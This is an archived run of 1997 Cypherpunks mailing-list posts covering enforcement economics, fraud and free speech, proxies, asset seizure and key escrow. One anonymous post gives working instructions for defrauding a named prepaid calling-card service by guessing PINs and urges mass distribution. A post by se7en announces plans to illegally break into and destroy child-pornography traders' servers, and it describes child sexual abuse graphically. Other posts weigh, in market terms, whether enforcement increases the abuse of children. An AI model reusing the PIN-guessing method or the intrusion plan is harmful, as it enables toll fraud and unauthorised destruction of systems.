In-Reply-To: <3.0.2.32.19970609183534.0069ac1c@netcom13.netcom.com>
Message-ID: <v03102810afc276b6f608@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:52 PM -0700 6/9/97, Igor Chudov @ home wrote:
>Lucky Green wrote:

>> The answer is clearly no. By limiting the distribution of an individual
>> picture, you increase the total number of pictures required to satisfy
>> market demand. That means more children will be required to meet demand.
>
>How do you justify that "clearly"?
>
>I think that your analysis is incorrect.
>
>This is a supply and demand situation. It is very simple to show (as any
>microeconomics textbook does) that a tax on the product reduces the amount
>of product sold and produced.

Your economics education must have some gaps. Look into "price elasticity."
Look also at the markets for illegal drugs: despite severe "taxation" (in
the form of price increases of some drugs, increased prison terms, etc.),
some markets have increased even as prices have increased.

Closer to home, analyze gas consumption as gas taxes in American have risen
nearly 400% in the past 25 years (roughly following the OPEC shock in ;73).

With drugs, knocking out distributors has in many cases increased the
selling price of the drug, making it actually more lucrative for street
dealers to enter the market.

A complicated system, no doubt, but arguments based on "Econ 101" are
usually flawed when dealing with complex systems (something Samuelson would
almost certainly agree with me on).

>Since a unit of product is probably one picture of a child, there are
>less units produced if they are taxed.

This is not at all clear. If the crackdown on child porn, or porn in
general, causes the street price to rise to $10 a picture, say, then many
folks not producing child porn now might be tempted to get into the market.

If you look at your Econ 101 text again, read up on cycles of pork bellies
and suchlike agricultural products. Every shortage is followed by a period
of "overproduction," and vice versa.

What this all means for the porn trade is unclear, but looking at the drug
trade is pretty revealing.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 10 Jun 1997 09:25:31 +0800
To: cypherpunks@toad.com
Subject: Re: Fraud and free speech
In-Reply-To: <339c0f30.65344598@mail.eskimo.com>
Message-ID: <eB528D50w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nexus@eskimo.com (Brian Lane) writes:
> >The mistake has been to extend "fraud" laws to non-contract situations,
> >e.g., ordinary speech (as distinguished from contracts).
>
>   This is very true. We now live in a society that expects to be
> 'protected' from everything, including their own ignorance, by Big
> Brother. Free Speech is just that -- free -- and should be accepted as
> such. We have various private organizations that have made it their
> business to oversee the truthfulness of product advertising and
> quality and this is how it should be.

Cool - can I sue George "no new taxes" Bish for breach of contract?

>   I believe that we have actually given up some of our free speech
> rights in order to be protected against the 'big bad companies looking
> to rip you off'. This has resulted in the government making a grab for
> more and more of our rights, the building of a buearucratic
> infrastructure to support this grab, and a seperate society back there
> in Wasington DC.

Very good point. Again, in various traditional Europan and various Asian
legal systems, lying per se is never a crime.  Lying while swearing by a
deity or a king is a crime.  Lying in court while under oath to various
local deities may be perjury.  Lying in a written document endorsed by the
king may be fraud.  Claiming that the borshch (borscht) one is selling is
the miracle cure for all diseases and the secret of eternal youth on the
basis of one's own reputation is OK.  Claiming that and also claiming FDA
endorsement is fraud if the borshch is not really endorsed by the FDA.
If a patient wants to buy non-FDA-endorsed medicine, it's between the
buyer and the seller.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 10 Jun 1997 06:37:44 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Question about anonymizing proxies
In-Reply-To: <199706091758.KAA31403@fat.doobie.com>
Message-ID: <Pine.LNX.3.91.970609202402.3056A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Sorry if this has been beaten to death before (if it has, a pointer to
> where it is in the archives would be appreciated), but is it possible to
> chain anonymizing proxy servers in a way similar to remailers?


Yes, just concatenate the URLs for most purposes, or were you thinking of 
something more specific?

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 10 Jun 1997 09:34:19 +0800
To: Alan <alano@teleport.com>
Subject: Re: WSJ on Money Laundering
In-Reply-To: <Pine.GSO.3.96.970609133806.19311E-100000@linda.teleport.com>
Message-ID: <199706100128.UAA28257@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.96.970609133806.19311E-100000@linda.teleport.com>, on
06/09/97 
   at 01:42 PM, Alan <alano@teleport.com> said:

>Check out the latest (June 9th, 1997) Wall Street Journal.  On page B1
>there is an article on the wave of money laundering convictions for
>non-drug related crimes.  In fact, the article points out that just about
>any monetary transaction can be declared money laundering.  (And get
>upheld in court!)

>And the reasons behind this?  Long terms and lots of ready cash for the
>feds.

>"Property Seizure: It's not just for drug crimes anymore!"

This has been going on since the seizure laws were passed. The acusation
of any feloney gives the Gestapo (Federal, State, & Local) the power of
confescation (conviction is optional).

Not much different than the RICO laws. I would be suprised if 1 out of 10
RICO cases were actually against "orginized crime".

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5yuYY9Co1n+aLhhAQGdGAP+IEUg1I/i8KPCBrQmpaHbBwX7vFrO6N5U
kIi21MAcWfkuRYMTte+9gnAyi1xyHQsGnvXoYBK9zNQK3H35gKCEbLwIDj0kJoFQ
yBJrHkDOz8FBQDH5hPiCgu+Pf9ps9u9PKHnlHZF6cWOy5GkoEoNrCn4ejpq27Qbi
ujNCulmP/JQ=
=tjU8
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 10 Jun 1997 09:24:12 +0800
To: cypherpunks@toad.com
Subject: Re: Fraud and free speech
In-Reply-To: <199706090408.XAA13740@mailhub.amaranth.com>
Message-ID: <BP528D51w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:
> So what you are saying that if I call up Widgits, Inc. and order product
> "X" that they advertizes does "Y". They instead send me product "X" that
> does "Z" not "Y" then I should have no recource? I should atleast be able
> to get my money back as they have not sold me the product that they
> claimed to be selling (clear violation of the "contract" between buyer and
> seller).

Romans firmly believed in "caveat emptor" and had no implied warranty
of merchantability.

> I have no problem with them saying their product does "Y" but if I spend
> my hard earned money on it then it best do what they say it does.

The cypherpunk solution is to make sure they can't use your money until
you've assertained that the product does what you want it to - and I
don't necessarily mean e-cash.

I occasionally buy shit by mail order on a credit card.  A few times I
was not happy with the purchase, and had to appeal to the card issuer
as an arbiter.  I was happy with the results.

Here both I and the merchant explicitly agree that the card issuer will
be the first arbiter in the dispute - the buyer offers the card, the
seller accepts it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 10 Jun 1997 02:47:10 +0800
To: cypherpunks@Algebra.COM
Subject: Your REFUND from IQ INTERNET IS HERE!
Message-ID: <199706091839.UAA15229@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Your REFUND from IQ INTERNET IS HERE!

This message is for anyone who was rip'd off by IQ INTERNET  

You can now obtain a FULL Refund paid to these
Bastards by following these simple instructions.

I could also use some help in distributing this REFUND offer!
Please help me by mass emailing this out to the Internet.  I am sure
we could find "others" who would like a REFUND too! (g) LOL!

I just discovered a "way cool" crack for IQ DIRECT / WMRG COM., a pre-paid calling card company.  If you want FREE long distance to any where in the world here it is.!!!

Call 1-800-510-7941 the automated prompt will ask you for a pin number.

Now here is the "Way Cool" Crack ...The pin number is a 10 digit code, for example: 748-700-4162  The first 3 numbers is the 'batch" code and will always stay the same.
The "batch" codes seem to run sequentially. In other words 100, 101,112 ...748,749,....999 end.  The "batch" codes also represents dollars denominations of $5, $10, $20, $50, $100, $500!!! (lol G)

The second and third set of numbers are somewhat random.  However as in the example 748-700-4163, I know of people who have been able to pick up a lot of FREE time just by changing one number in the second or third set of numbers. 

When you dial the 1-800-510-7941 number the automated voice will allow you 5 attempts to enter the correct pin number.  You will be disconnected after the 5th attempt.  But hey, no problem!  Just call back and retry.  I have found on average that within the 10th attempt at entering a pin number, you will find an authorized pin number!

It is really a lot of fun!  Sort of like spinning the Wheel of Fortune and coming up with a jackpot of up to $500 in pre-paid long distance!

This crack is likely to end within 1 week of this posting 6/07/97. 

Do yourself a favor and Hurry!  

Let everyone know about this "limited" opportunity. (G)

Due to high call traffic you may run into busy signals  (lol & G)!!!

$incerely,

Dialing For Dollars$$$







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 10 Jun 1997 11:45:13 +0800
To: cypherpunks@Algebra.COM
Subject: [Noise, California only] Good deal on ISDN access
Message-ID: <3.0.2.32.19970609203945.00715b00@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



[I have been sick at home all day, when I just couldn't sleep anymore I hit
the web. I hope this makes sense...]

Given that a good number of people on this list live in CA, this might be
of interest to you. It certainly was to me. PacBell is selling flat rate 2B
ISDN Internet access at $50/month. Plus the regular home ISDN fees, but
this is still much cheaper than what I paid before. You might want to think
hard before you buy at new 56k modem that in all likelihood won't be able
to give you 56k anyway. And no analog modem will ever give you 128kbps.

Analog lines aren't made for data. They aren't particularly good for data.
That's why ISDN was designed. It didn't take off until recently, since it
was priced for business and business decided they didn't need it for
various reasons. But at these prices, you'd have to be a starving student
or nuts not to get it at home.

http://dialup.pacbell.net/ISDN/

Disclaimer: I have no financial interest in PacBell. It would be nice,
though. :-)


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 10 Jun 1997 09:26:29 +0800
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Quadratic residues
In-Reply-To: <19370327300899@nac.net>
Message-ID: <H0528D53w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



The Spectre <spectre@nac.net> writes:
>
> > On Mon, 9 Jun 1997, Anonymous wrote:
> >
> > I think Vulis needs each of us to send ten copies of this back to him.
> >
> [...]
> I think I'm sending *you* ten copies of this.

Folks, when replying to the ASCII art, please try to quote enough of the
body so it'll be picked up by the filters :-)

[Or should I be filtering on the Subject line?]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 10 Jun 1997 12:15:45 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Thoughtcrime   (Re: My War) (fwd)
In-Reply-To: <199706100316.WAA03518@einstein.ssz.com>
Message-ID: <v03102813afc280fe6067@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:16 PM -0700 6/9/97, Jim Choate wrote:

>  ...    The actual cycle is much more
>complicated than Tim is alluding to here.

I agree. I was mainly reacting to Igor's simplistic model from Economics
that a tax on something will decrease consumption of it.

There are many, many other issues.

I didn't even mention one of the most basic ones: no one expects to get caught.

Thus, the increased penalties do indeed increase the averaged costs of
producing child porn. But a rule of thumb is that markets will thrive when:


          selling price > production cost

Or,

          selling  price - production cost = profits

Sellers of illegal mateials will factor in their chances of getting caught,
the punishment if caught, etc., as another part of the production cost. So,

   selling price - (production costs of item plus chance of being caught
times chance of being convicted times punishment if convicted) = profits

And so on. The higher selling price of a more restricted item may in fact
cause more sellers to enter the market. This was Lucky's point.

It's all very complicated. And strong crypto, of course, is on the verge of
making the risk of getting caught near zero. You know the rest.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Tue, 10 Jun 1997 11:10:10 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Thoughtcrime   (Re: My War) (fwd)
Message-ID: <199706100235.VAA03328@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Mon, 09 Jun 1997 18:35:34 -0700
> From: Lucky Green <shamrock@netcom.com>
> Subject: Re: Thoughtcrime   (Re: My War)

> Let us assume that it is unethical to force children to participate  in the
> production of child pornography. (For the benefit of Kent and the more
> ignorant people on this list, I will state that I firmly believe this to be
> true, despite the fact that doing so should be irrelevant for the argument.)

> Furthermore, let us assume that there are a number of individuals who enjoy
> looking at hard core child pornography.

> The question then is: does going after the distributors provide a benefit
> to the children being (potentially) used for such pictures?

> The answer is clearly no.

Assuming, tacitly of course, that the supply of distributors is unlimited.
If the resource is limited, as it actualy is, by getting the distribution
node you in effect cut many people off. Thus forcing either total denial or
else direct intervention, thus raising the chance of getting caught because
more persons would be involved than would normaly be the case. This in
effect clearly indicates a benefit to going after the distributors. This
argument can be extended to the film-maker as well.

Now some will say that it doesn't matter, somebody else will always pop up.
The problem with this is that we have a limited population and there are
only a statistical percentage going to be interested in the activity. This
implies that there is some set of persons who will not participate. The
trick is to get the non-participants to be the larger of the two.

> By limiting the distribution of an individual
> picture, you increase the total number of pictures required to satisfy
> market demand. That means more children will be required to meet demand.

By extension then full and complete public distribution would minimize it
completely. So, you are seriously stating that we should put such pictures
on the daily television, say during childrens hour? Now if we follow this
further we are left with the image of our government hiring children to pose
for said images because the supply of 'actual' images had diminished.
That is truly a case of the pot calling the kettle black. Plus the sicko's
get free, danger free, thrills at the public expence. Wooo, just what I
want my tax dollars spent on.

We are clearly dealing with a cusp-shaped function here. The implication
being that some form of regulation is beneficial if we want to actualy
reduce child abuse.

> Thus, by going after the distributors, Se7en causes more children to be
> violated by child pornographers.

Or just possibly making the supply even more scarce because fewer and fewer
are willing to take the chance of making a few bucks.

> The only question that remains is: how can he live with this?
> 
> Logic != base emotions,

Ahmen brother!

Otherwise, feldercarb.

   _______________________________________________________________________
  |                                                                       |
  |            Moderation in all things, including moderation.            |
  |                                                                       |
  |                            -I wish I could remember-                  |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 10 Jun 1997 11:02:48 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <3.0.2.32.19970609183534.0069ac1c@netcom13.netcom.com>
Message-ID: <199706100252.VAA02513@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Lucky Green wrote:
> Let us assume that it is unethical to force children to participate  in the
> production of child pornography. (For the benefit of Kent and the more
> ignorant people on this list, I will state that I firmly believe this to be
> true, despite the fact that doing so should be irrelevant for the argument.)
> 
> Furthermore, let us assume that there are a number of individuals who enjoy
> looking at hard core child pornography.
> 
> The question then is: does going after the distributors provide a benefit
> to the children being (potentially) used for such pictures?

> The answer is clearly no. By limiting the distribution of an individual
> picture, you increase the total number of pictures required to satisfy
> market demand. That means more children will be required to meet demand.

How do you justify that "clearly"?

I think that your analysis is incorrect.

This is a supply and demand situation. It is very simple to show (as any
microeconomics textbook does) that a tax on the product reduces the amount
of product sold and produced.

Since a unit of product is probably one picture of a child, there are
less units produced if they are taxed.

In the case of child porn, all this persecution is a form of tax, although
not very quantifiable.

igor


> Thus, by going after the distributors, Se7en causes more children to be
> violated by child pornographers.
> 
> The only question that remains is: how can he live with this?
> 
> Logic != base emotions,
> 
> --Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.
> 
>   Put a stake through the heart of DES! Join the quest at
>   http://www.frii.com/~rcv/deschall.htm
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 10 Jun 1997 13:11:12 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Thoughtcrime   (Re: My War) (fwd)
In-Reply-To: <199706100316.WAA03518@einstein.ssz.com>
Message-ID: <3.0.2.32.19970609220513.006d5bf8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:08 PM 6/9/97 -0700, Tim May wrote:
>At 8:16 PM -0700 6/9/97, Jim Choate wrote:
>
>>  ...    The actual cycle is much more
>>complicated than Tim is alluding to here.
>
>I agree. I was mainly reacting to Igor's simplistic model from Economics
>that a tax on something will decrease consumption of it.
>
>There are many, many other issues.
>
>I didn't even mention one of the most basic ones: no one expects to get
caught.

This is certainly true. I lived in cities most of my life and encountered a
good number of sellers of various illegal merchandise. [On 6th Street in
San Francisco, everything from crack to counterfeit subway passes is on
sale. On SSI payday, the dealers line up at 8 am right across from the
check cashing place. This is taking place two blocks away from the main
police station, the municipal court, and the county jail. The dealers
conduct their business openly in plain sight of anyone walking to the
nearby subway station. Same for the consumers smoking glass pipes in the
alley half a block away. All of this is funded by your tax dollars.]

Neither party seems to think they will be caught.

>Thus, the increased penalties do indeed increase the averaged costs of
>producing child porn. But a rule of thumb is that markets will thrive when:
>
>
>          selling price > production cost

Medical cocaine wholesales in the US for $0.50 per gramm. I am told that
"street" cocaine with <50% active ingredient sells for about $50 a gramm.
That's two orders of magnitude difference between production cost and
selling price. No wonder that some of the smarter youths, the one's that
can keep track of money and understand business, choose careers as drug
dealers. What other good gives you similar profit margins? [I believe they
are missguided, but this must be hard to understand if you are 16 and can
make $1000 per day selling drugs.]

Well, child pornography might have similar profit margins. Or at least it
will, once Se7en and the feds succeed in raising the price.

Everything is the other way around,


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: se7en <se7en@dis.org>
Date: Tue, 10 Jun 1997 13:17:23 +0800
To: jamesd@echeque.com
Subject: Re: FCPUNX:My War
In-Reply-To: <199706100450.VAA27290@proxy3.ba.best.com>
Message-ID: <Pine.BSI.3.91.970609220503.12873Y-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain





On Sun, 8 Jun 1997 jamesd@echeque.com wrote:

> You are no hacker:  You appear to be Rich Graves.  Furthermore this 
> activity is tolerated by us.
> 
> And as usual you are discovering and publicising all sorts of good reasons
> why the government should supervise us, while piously declaring you are
> opposed to any such supervision.

Read the follow-up to the original posting.

se7en





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Horowitz <marc@cygnus.com>
Date: Tue, 10 Jun 1997 10:20:26 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Access to Storage and Communication Keys
In-Reply-To: <3.0.1.32.19970609000938.00756910@popd.ix.netcom.com>
Message-ID: <t5367vnxld3.fsf@rover.cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:

>> Having argued that point vociferously in the past, I'm now going to
>> waffle on the issue - while the business need is for access to
>> stored data, this may often include stored messages received from
>> a communication system in encrypted form.  Either the User Interface
>> needs to make it convenient to store the decrypted message,
>> or else the user will store the message in encrypted form -
>> which means there may be a business need for Proper Authority Access later.

To me, mail encryption is not communications encryption.  The mail
message is encrypted, just like a file might be.  Then those encrypted
bits are sent over the net.  It is precisely because I have access to
the ciphertext as a separate entity that this is not communications
encryption.

This is in contrast to ssh, kerberized telnet, IPsec, etc., where once
the communications has happened, I either have the cleartext bits
(example: scp), or nothing but a memory in my head (example: telnet).
In this situation, private escrow of keys is useless, unless I'm also
escrowing the ciphertext.  Nobody I know archives their cyphertext
data flows.  Anybody know of a contradiction?

The *only* reason to escrow communications keys is to spy on people;
there is never an opportunity for data loss here.

Note that this also means that private key recovery (intra-corporate,
for example) is consistent with perfect forward secrecy, since the
former is never useful for communications, and the latter only is.

This doesn't fix the potential problems with email, but it does let
you continue to argue vociferously and with a clear conscience against
communications key escrow in any form.

		Marc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: se7en <se7en@dis.org>
Date: Tue, 10 Jun 1997 13:16:23 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Response to "My War"
Message-ID: <Pine.BSI.3.91.970609220733.12873a-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain




I have been away for most of the day, and came home to see I hit a 
sensitive spot in one way or another with many people. I tried to respond 
to many people who sent me private messages, but for some strange ass 
reason all of my mail is bouncing as "host unknown." I am quite sure 
aol.com exists. So I am going to try and respond to much of it here. 

In my long rant, I realized the message was getting too long, and 
paraphrased some of my larger thoughts. I figured everyone would know 
what I was trying to get at, but I was wrong. To clarify a few points, 
before I get to the debate:

I was not advocating the destruction of servers that are used by large 
numbers of people. I was thinking of the terminology used by the people 
trading...fserv/ftp servers, many of which are virtual to their desktops 
which can be shut on and off at will by them as desired. My reference to 
destruction of servers fit this definition. I don't want to affect large 
numbers of innocent users to get the few scumbags out there. That is not 
acceptable. Precision strikes yes, not mass strikes for the "greater 
good." That is asinine.

Nor was I attempting, as some did point out, to be some sort of "ring 
leader" in this crusade. I do not plan to organize some large anti-kiddie 
porn team. I plan on spending a few hours a week, on my own, identifying 
active participants in this activity. I plan on gathering logs of various 
types of activity to justify my actions. I plan on taking action which 
will affect only these individuals. I will make public postings on my own 
accord to various places on the Internet (dc-stuff WILL NOT be one of these 
places).

These are things I am doing on my own. If others would like to join the 
effort, I would ask they do the same thing. Spend a few hours a week in 
their world to identify the traders and do what you do best to either 
wreck them or make things a serious hassle for them to continue. I do not 
want a personal strike team to organize and manage.

As far as freedom of speech goes, sorry guys, it does not cover activities 
which violate the rights of others. Someone does not have the right to fuck 
a four-year-old girl in the ass, take pictures of it, and then scan it and 
upload it to the Internet. No one has the right to force a six year old 
girl to suck his dick until cum is running down her face, take pictures 
of the whole thing, and, once again, upload it to the Internet. This is 
not covered. Go back to school if you think it is.

Anyone who thinks this doesn't affect the young children, you are wrong. 
I doubt these children consented to the sexual activity. I doubt they 
consented to being photographed. I doubt they consented to the pictures 
being distributed to others. I am sure this affects the 
emotional/psychological state of the child victim in many ways beyond 
what most of us can understand. I think we can all agree that is creates 
a less-than-optimal psychological state in the children.

I know my actions are themselves illegal. I am not going to try to 
morally justify it with comments such as "It's for the greater good," or 
"What they are doing is more illegal than hacking." I know my actions 
against these people are illegal, and many for good reason. It is 
destruction of property. I am honest enough to admit I will be breaking 
laws. At least I don't try to rationalize it behind some strange, 
twisted sense of logic. 

I am not here to force my morals on anyone. If you agree with me, fine. 
If you have the ability to do something about it, fine. If you disagree, 
fine. I have had some disagreements against my email/plan/whatever. I 
have read evry single one of them. I do not hate those who disagree with me. 
I see the logic in their arguments. I actually encourage it, as it helps 
me to define what I plan to do better. 

Everyone has the right to say what they want, whether they agree or not. 
That includes me, that includes you. This, of course, as long as it doesn't 
violate the more fundamental rights of others. Agree with me? Yes. Disagree 
with me? Yes. Distribute child porn. No!

On an interesting note, in instances where I have talked one-on-one with law 
enforcement agencies in the past, I have thrown several hypothetical cases 
their way to judge their reaction: (A small glimpse of my Defcon speech)


ME: "If I entered a system without authorization and poked around a left, 
would you arrest me?"
THEM: "No. We don't have the time or resources for that. We aren't 
interested in the people who look around without causing damage despite 
what everyone thinks."

ME: "If I entered a system without authorization and destroyed it, would 
you arrest me."
THEM: "Most definitely." 

ME: "If I was at Defcon and entered a system without authorization that 
was dedicated to the distribution of child pornography and destroyed it, 
and you were looking over my shoulder the whole time and saw what I did, 
would you arrest me?"
THEM" "I would turn around and walk away."


se7en





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Tue, 10 Jun 1997 11:48:31 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Thoughtcrime   (Re: My War) (fwd)
Message-ID: <199706100316.WAA03518@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 9 Jun 1997 20:22:44 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Thoughtcrime   (Re: My War)

> Your economics education must have some gaps. Look into "price elasticity."
> Look also at the markets for illegal drugs: despite severe "taxation" (in
> the form of price increases of some drugs, increased prison terms, etc.),
> some markets have increased even as prices have increased.

Clearly this whole discussion can be broken down into a cusp shaped gap.
Too much regulation will cause the market worth to soar hence driving a
large increase in at least attempted revenue spent on the commodity. Whereas
a complete lack of regulation will saturate the market hence driving
suppliers and distributors out of the market, leaving a few megaliths.
Somewhere in the middle is a point where there is actualy a minimum of
the events you are trying to eliminate.

> With drugs, knocking out distributors has in many cases increased the
> selling price of the drug, making it actually more lucrative for street
> dealers to enter the market.

Actualy what it does is increase the perception of danger and difficulty in
the mind of the user and low-level dealer. The actual cycle is much more
complicated than Tim is alluding to here. First there is the total supply of
raw material, processing, and distribution. This sets a hard baseline limit
on the total available drug. Then we have a certain fluctuating percentage
of the population who use it. If we study the typical 'addict cycle' for
different drugs and users we see a multiplicity of cycles and patterns of
behaviour (eg most users who don't od kick the habit after a period of
time). Then we have the perception of those users on the availability of the
drug. There is also the percentage of tax that a society can support at a
given standard of living to support police activity specificaly for drug
control. The image that John and Jane Doe have on the impact of drugs on
their lives. And on and on... 

> This is not at all clear. If the crackdown on child porn, or porn in
> general, causes the street price to rise to $10 a picture, say, then many
> folks not producing child porn now might be tempted to get into the market.

Any many who had thought about it would decline because of the increased
chance of getting caught.

Specificaly how are you justifying the assumption that the net effect would
be to increase the total available distributors? It seems to me that such
an arguments natural extension would be that it would increase the net
number of movie makers not distributors. Consider, the number of distributors
is reduced by a very public campaign. Obviously two things come from this.
First is the actual reduction of available material and the perception that
distribution is a very dangerous game. So what does our enterprising
pedophile do? He buys himself a camera and proceeds to make his own for him
and his buddies. Hell, if he gets too worried he can start killing the kids
so they can't squeel.


   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 10 Jun 1997 13:27:19 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime   (Re: My War)
Message-ID: <3.0.32.19970609223024.00754d30@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




I really don't think that se7en just wants to censor the kiddie porn sites;
I think he is on a personal vendetta (like McVeigh).   He didn't call for
anyone to support legislation and propose new, tough laws, but called for
hackers to go after this particular target.    On the net anyone is prey,
remember;  kiddie porn dealers not exempted.

It's moot to discuss whether eliminating a few thousand digital images will
make any difference on the availability/market desireability of these
pictures (I expect these are all backed up somewhere, anyway, so destroying
them probably wouldn't actually make much difference, but just anger the
owners.)   How many photos of real children arranged into sexual poses or
imposed upon to perform sexual acts does it take to satisfy an addict?
How many photos which are not duplicates do these people actually possess,
and how many more do they seek to obtain?   Is it the number of them, or
the thrill of the "new"?   That a certain number of these photos are in
circulation may not be so important as the fact that they are "new" (to the
person looking to get them).   This means that having free circulation of
large numbers of images may be beside the point (I am speculating and
calculating based on almost total ignorance of the psychology of this type
of individual).

If these pedophiles just want to fantasize, I would offer they could get a
package of Macromedia Freehand or Director and Photoshop and create their
own.   But that probably wouldn't be satisfactory to them.  I expect there
is something in the qualities and character of real children which draw
them.   

But I digress.  The subject was hacking at your own chosen target.   Some
people hack children's innocence; some people hack the hackers.  Que sera'
sera'.


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
